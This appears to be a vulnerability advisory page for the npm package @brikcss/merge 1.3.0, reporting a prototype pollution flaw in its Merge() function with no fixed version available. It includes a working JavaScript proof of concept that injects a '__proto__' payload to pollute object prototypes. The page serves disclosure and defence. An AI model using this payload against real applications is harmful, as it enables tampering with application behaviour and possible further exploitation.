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@brikcss/merge@1.3.0 vulnerabilities

Utility to perform a deep merge of a list of objects or arrays.

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Direct Vulnerabilities

Known vulnerabilities in the @brikcss/merge package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
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Prototype Pollution

@brikcss/merge is an Utility to perform a deep merge of a list of objects or arrays.

Affected versions of this package are vulnerable to Prototype Pollution via the Merge() function.

##PoC

// PoC.js
var merge = require("@brikcss/merge")

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for @brikcss/merge.

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